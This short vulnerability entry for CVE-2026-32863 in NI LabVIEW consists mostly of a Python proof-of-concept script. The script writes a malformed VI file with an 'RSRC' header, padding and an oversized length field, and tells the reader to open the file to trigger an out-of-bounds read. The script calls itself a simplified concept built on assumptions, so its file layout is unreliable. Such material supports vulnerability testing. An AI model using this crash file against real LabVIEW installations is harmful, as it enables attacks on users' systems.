CVE-2026-32863 NI LabVIEW内存破坏漏洞

# PoC Concept: Generating a malformed VI file to trigger OOB read import struct def create_malformed_vi(filename): # Simplified VI header structure for demonstration header = b"RSRC" # Padding to reach the vulnerable function context padding = b"A" * 0x50 # Malformed operation length to trigger OOB in sentry_transaction_context_set_operation # Assuming a length field that is larger than the allocated buffer malformed_len = struct.pack("<I", 0xFFFF) payload = header + padding + malformed_len with open(filename, "wb") as f: f.write(payload) print(f"[+] Malformed VI file created: {filename}") print("[*] Open this file in NI LabVIEW 26.1.0 or earlier to test.") if __name__ == "__main__": create_malformed_vi("crash.vi")